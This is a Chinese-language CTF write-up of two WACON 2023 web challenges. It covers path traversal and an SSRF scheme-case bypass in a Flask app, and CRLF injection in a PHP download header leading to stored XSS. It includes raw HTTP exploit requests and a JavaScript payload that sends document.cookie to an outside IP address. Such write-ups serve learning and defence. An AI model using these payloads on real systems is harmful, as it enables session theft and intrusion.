2023waconCTF

2023waconCTF

mosaic

1
2
3
4
5
6
7
8
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

直接将username填充,没有进行过滤,可以直接获取password

1
http://localhost:8090/check_upload/@../password.txt
1
2
if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')

在上面获取到了admin之后,需要进行一次SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
image_url = request.form.get('image_url')
if image_url and "../" not in image_url and not image_url.startswith("/"):
guesstype = mimetypes.guess_type(image_url)[0]
ext = guesstype.split("/")[1]
mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)

apply_mosaic(image, mosaic_path)
return render_template("mosaic.html", mosaic_path = mosaic_path)
else:
return "Plz input image_url or Invalid image_url.."
return render_template("mosaic.html")

我们需要进入的分支

1
2
3
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)

来发起本地的请求

首先需要url已经限制了无法读取工作目录的父目录,guesstype会检查url请求的文件类型,下面判断中不能为空,第二需要绕过http,因为不能是一个真实存在的文件,否则进入第一个if,然后http可以使用大小写绕过,初步就是

1
Http://localhost:9999/1.png

但是不能真的让get请求1.png,因为需要的是Http://localhost:9999/,所以可以使用#,因为在blog中(可以直接 自己尝试一下),点击hexo的跳转,只会在页面中跳转(跳转的是id=”1.png”),所以加上#,还是对Http://localhost:9999/发起的请求

最终就是

1
2
Http://localhost:9999/#1.png
http://localhost:8090/check_upload/@admin/flag.png

warmup-revenge

waf: 存在CSP同源

漏洞点: CRLF注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include('./config.php');
ob_end_clean();

if(!trim($_GET['idx'])) die('Not Found');

$query = array(
'idx' => $_GET['idx']
);

$file = fetch_row('board', $query);
if(!$file) die('Not Found');

$filepath = $file['file_path'];
$original = $file['file_name'];

if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-transfer-encoding: binary");
} else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
header("content-description: php generated data");
} else {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-description: php generated data");
}
header("pragma: no-cache");
header("expires: 0");
flush();

$fp = fopen($filepath, 'rb');

$download_rate = 10;

while(!feof($fp)) {
print fread($fp, round($download_rate * 1024));
flush();
usleep(1000);
}
fclose ($fp);
flush();
?>
1
2
3
4
5
else {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-description: php generated data");
}

在常规的 HTTP 应答中,Content-Disposition 响应标头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。

在 HTTP 场景中,第一个参数或者是 inline(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 attachment(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 filename 的值预填为下载后的文件名,假如它存在的话)。

1
2
3
Content-Disposition: inline
Content-Disposition: attachment
Content-Disposition: attachment; filename="filename.jpg"

所以此处可以使用CRLF使得使用内联的方式来进行url跳转

先注入一个恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST /board.php?p=write HTTP/1.1
Host: 100.100.1.2
Content-Length: 652
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://100.100.1.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzSMhJ9rVeHZcy5bY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://100.100.1.2/board.php?p=write
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=5715fd548fecc747209d2e489de811e1
Connection: close

------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="title"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="content"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="level"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="file"; filename="myFile.html"
Content-Type: text/plain

document.location="http://43.139.154.219/?x=".concat(encodeURIComponent(document.cookie));
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="password"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY--

然后使用\r,使得Content-Disposition 响应标头失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
POST /board.php?p=write HTTP/1.1
Host: 100.100.1.2
Content-Length: 602
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://100.100.1.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzSMhJ9rVeHZcy5bY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://100.100.1.2/board.php?p=write
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=5715fd548fecc747209d2e489de811e1
Connection: close

------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="title"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="content"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="level"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="file"; filename="AA
.html"
Content-Type: text/plain

<script src="/download.php?idx=4"></script>
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY
Content-Disposition: form-data; name="password"

1
------WebKitFormBoundaryzSMhJ9rVeHZcy5bY--

如果调试的过程中可以发现不存在Content-Disposition 响应标头,说明将会以内联的方式展示,然后触发跳转发起本地请求,成功XSS

1
array(7) { [0]=> string(24) "X-Powered-By: PHP/7.4.33" [1]=> string(50) "Cache-Control: no-store, no-cache, must-revalidate" [2]=> string(146) "Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:" [3]=> string(18) "content-length: 43" [4]=> string(39) "content-description: php generated data" [5]=> string(16) "pragma: no-cache" [6]=> string(10) "expires: 0" }

image-20230917200650852